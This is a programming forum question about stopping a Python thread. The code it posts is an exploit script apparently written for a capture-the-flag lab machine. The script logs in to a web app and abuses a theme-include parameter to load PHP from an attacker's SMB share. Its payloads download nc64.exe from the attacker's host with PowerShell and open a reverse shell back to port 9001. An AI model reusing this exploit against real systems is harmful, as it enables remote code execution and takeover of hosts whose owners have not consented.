How can I stop a thread in Python?

Question

I am trying to exit() from a thread when a condition is met. However, I can seem to figure out how to stop the thread when this condition is met:

exploit_threads[len(exploit_threads) -1].stop()

This is throwing me an exception. I guess I need some sort of static call but not sure how I can achieve this. Full code:

#!/usr/bin/env python3

import sys
import requests
import random
import threading

base_url        = 'http://10.10.10.231/licenses'
credentials     = { 'username': '', 'password': '' }
payload         = "?theme=//{}/rekt&h=b3f129945f358c3d9168614c18a893c8".format(sys.argv[1])

threads         = []
exploit_threads = []
status          = False

def payload_one():
    while(True):
        w = open('smb/header.inc', 'w')
        w.write("<?php echo 'jaquarh'; system('cmd /c powershell iwr http://{}/nc64.exe -outf \windows\system32\spool\drivers\color\nc64.exe'); ?>".format(sys.argv[1]))
        w.close()
        
def payload_two():
    while(True):
        w = open('smb/header.inc', 'w')
        w.write("<?php echo 'jaquarh'; system('cmd /c start \windows\system32\spool\drivers\color\nc64.exe -e cmd {} 9001'); ?>".format(sys.argv[1]))
        w.close()

def login():
    req = requests.session()
    req.post(url="{}/index.php".format(base_url), data=credentials)
    req.get(url = "{}/licenses.php".format(base_url))
    return req

def start():
    status = False
    req    = login()
    
    while(status == False):
        if 'jaquarh' in req.get(url="{}/licenses.php{}".format(base_url, payload)).text:
            print('Successfully injected payload contained in header.inc')
            status = True
            
    exploit_threads[len(exploit_threads) -1].stop()
    exploit_threads.append(threading.Thread(target = payload_two))
    exploit_threads[len(exploit_threads) -1].start()
            
    while(status):
        if 'jaquarh' in req.get(url="{}/licenses.php{}".format(base_url, payload)).text:
            print('Successfully injected second payload contained in header.inc')
            exit()

exploit_threads.append(threading.Thread(target = payload_one))
exploit_threads[len(exploit_threads) -1].start()

for i in range(0, 5):
    threads.append(threading.Thread(target = start))
    threads[len(threads) -1].start()

File "/home/kali/tools/labs/Proper/./Proper.py", line 43, in start exploit_threads[len(exploit_threads) -1].stop() AttributeError: 'Thread' object has no attribute 'stop'

Any ideas how I can kill this thread?